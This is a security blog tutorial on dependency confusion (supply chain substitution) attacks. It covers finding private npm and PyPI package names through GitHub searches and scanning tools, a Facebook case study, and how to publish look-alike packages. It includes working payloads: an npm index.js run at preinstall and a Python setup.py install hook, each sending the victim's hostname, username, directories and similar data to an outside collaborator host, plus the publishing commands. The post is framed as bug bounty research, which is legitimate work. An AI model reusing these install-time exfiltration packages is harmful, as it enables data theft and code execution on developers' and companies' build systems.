Dependency Confusion


Hello Everyone,

I’m back with another blog related to the Dependency Confusion Bug that was discovered by Alex Birsan last year.

This blog will cover the following parts

  • What is Dependency Confusion Attack ?
  • Finding Private Packages
  • Creating Malicious Packages (NPM, Python)
  • Pushing into Public Registry
  • Tools & Automation

What is Dependency Confusion Attack ?

A Dependency Confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.

Flow of Dependency Confusion Attack

  • From the above image, it can be observed that the Public Package contains Higher version compared to the Private package.
  • So if the package indexing is not properly done, it will automatically pull the Higher version package from the Public Registry.

Finding Private Packages (NPM)

NOTE: In NPM package.json file contains the List of Dependency Names which can be further used to check whether the package is public or not.

  • Use Github Dorking with the keywords such as package.json withinn this Organisation Filter as shown below.

  • Choose Code -> Repository and JSON -> Languages , it will show the available package.json file which is present in the Particular Organisation.

  • It can be also found using npm package.json disclosure nuclei template.
id: package-json

info:
  name: npm package.json disclosure
  author: geeknik,afaq
  severity: info
  description: All npm packages contain a file, usually in the project root, called package.json - this file holds various metadata relevant to the project.
  tags: config,exposure

requests:
  - method: GET
    path:
      - "/package.json"
      - "/package-lock.json"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "name"
          - "version"
        condition: and

      - type: word
        words:
          - "application/json"
        part: header

      - type: status
        status:
          - 200

Case Study of eslint-plugin-flipper Package

Repository Name: https://github.com/facebook/flipper

Vulnerable Package Location: https://github.com/facebook/flipper/blob/39145f46a5106329a71303c357525a22075572e4/desktop/package.json

https://github.com/facebook/flipper/blob/45ce538c8dd6b448388a01e2ed4fa398956e5e20/desktop/eslint-plugin-flipper/package.json

Package Name: eslint-plugin-flipper

Type: Private

Initial Foothold:

  • During the reconnaissance process , using the following keyword search on github

org:facebook dependencies

  • I was able to find many package.json, then later i started to check for the packages type whether it is public or private using the following tool

visma-prodec/confused - Tool to check for dependency confusion vulnerabilities in multiple package management systems.

  • Download the package.json file using the following command.

wget https://raw.githubusercontent.com/facebook/flipper/39145f46a5106329a71303c357525a22075572e4/desktop/package.json

  • Use the following command to check whether it contains private NPM package or not.
confused -l npm package.json

  • Now visited the npm official website to check the package availability, it showed up Zero Package available.

  • The next step is to create the same NPM package name (eslint-plugin-flipper) , into the public NPM registry.

Creating Malicious Packages (NPM)

  • Install NPM using the following command
apt install npm

  • Create an account on NPM Registry

  • Login into NPM Account using the created credentials.

npm login

  • Use the following command to create the NPM package.
npm init
  • It will ask you to enter the package name as shown below.

  • After successful creation of the package.json file , we need to edit the created file to execute our own scripts and command.

vi package.json

  • Now create the index.js file as shown below.
//author:- whitehacker003@protonmail.com
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});

var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

req.write(postData);
req.end();
  • Now there will be two files created package.json , index.js.

Pushing into Public Registry (NPM)

  • Before publishing the package to public registry make sure this package name Doesn’t exist in the Public Registry.

  • Use the following command to publish the package.

npm publish

  • From the above image it can be observed that the package version is 0.0.0 and it does not contain any Integrity Hash value.

  • The Published package contains Higher Version compared to the original one.

  • If someone has installed this malicious NPM package or if the Internal Builds has pulled these packages,our package.json file preinstall scripts will execute the index.js file and get the hostname, directory, ipaddress, username as shown below.

  • This was submitted to the Facebook Bug Bounty Program, however it was rejected since the package eslint-plugin-flipper is not distributed on npmjs.com. Although the setup instructions at running from source advise people to install using Yarn, this is not a valid issue for the Facebook Bug Bounty program; nonetheless, it is still helpful to provide as a real-world example.

Finding Private Packages (Python)

NOTE: In Python requirements.txt file contains the List of Dependencies Name which can be further used to check whether the package is public or not.

  • Use Github Dorking with the keywords such as requirements.txt with In this Organisation Filter as shown below.

  • Choose Code -> Repository and Text -> Languages , it will show the available requirements.txt file which is present in the Particular Organisation.

  • After getting the requirements.txt file, we need to verify whether it contains any Private Packages or not.

  • It can be done by using this tool visma-prodsec/confused

  • Install the tool using the following command.

go get -u github.com/visma-prodsec/confused
  • Use the following command to check whether it contains private Python package or not.
confused -l pip requirements.txt

Creating Malicious Packages (Python)

  • Install pip using the following command
apt install pip

  • Create a file named setup.py using the following code as shown below.
#source:- https://github.com/007divyachawla/python-dependency-confusion-attack/blob/main/setup.py
from setuptools import setup
from setuptools.command.install import install
import requests
import socket
import getpass
import os

class CustomInstall(install):
    def run(self):
        install.run(self)
        hostname=socket.gethostname()
        cwd = os.getcwd()
        username = getpass.getuser()
        ploads = {'hostname':hostname,'cwd':cwd,'username':username}
        requests.get("https://burpcollaborator.net",params = ploads) #replace burpcollaborator.net with Interactsh or pipedream


setup(name='dependency1337', #package name
      version='1.0.0',
      description='test',
      author='test',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

  • Create a PyPi Account.

  • In order to push the packages to Public Pypi registry, we need (sdist, bdist_wheel, twine) these packages to be installed in our system

pip3 install twine sdist bdist_wheel
  • Use the following command to build the setup.py as shown below.
python3 setup.py sdist bdist_wheel

  • After the successful build, there will be three folders created namely dist, build, packagename.egg-info.

Pushing into Public Registry (Python)

  • Before publishing the package to public registry make sure this package name Doesn’t exist in the Public Registry.

  • Use the following command to publish the package and it will prompt for username and password enter the PyPi Credentials.

twine upload dist/* --verbose

  • If someone has installed this malicious Python package or if the Internal Builds has pulled these packages,our scripts execute and get the hostname, username, directory as shown below.

Note: i have covered only NPM & Python, there are other dependencies on various languages such as

  • Java: Maven / Gradle
  • .NET: NuGet
  • PHP: Composer
  • Objective-C/Swift: Cocoapods
  • Ruby: Gems
  • Docker
  • Go: Go modules
  • Rust: Cargo

Impact:-
If these package had been claimed by an attacker, this would have led to arbitrary code execution on the affected server, as well as allowing the attacker to add backdoors inside the affected project(s) during the build process.

Remediation:-

  • Leverage Dependency Pinning
  • Utilize Dependency hashing

Reference:-
Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies
Dependency Confusion Pt. 1 | The Setup | Packages | Private Registry
Dependency Confusion Pt. 2 | Final Part | Exploiting Dependency Injection
Dependency Confusion Attack – What, Why, and How?
$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained

Huge Shout out to Alex Birsan for his Incredible Research on the Supply Chain Attack.

Kudos to visma-prodsec for creating confused tool.

Thanks a lot for reading !!!.

Related Posts

OAWSP Exam Review

Breaching AWS & Offensive AWS Security Professional

Subfinder Unleashed

Maximizing Subdomain Discovery with SecurityTrails

Patch Diff

Reviewing Code Changes

No One Talks About !

Gratefulness, Imposter Syndrome & Burnout

AWS Misconfigurations

Deep Dive into AWS Cloud Security

Reconnaissance

Red Teamer Perspective

Vishing

Social Engineering Tactics to Convince Victims

Phishing

Set-up and run a Phishing Campaign using GoPhish

Hopper Disassembler

Bypassing Jail Break Detection

How I was able to revoke your Instagram 2FA

Bypassing Rate Limit using IP Rotation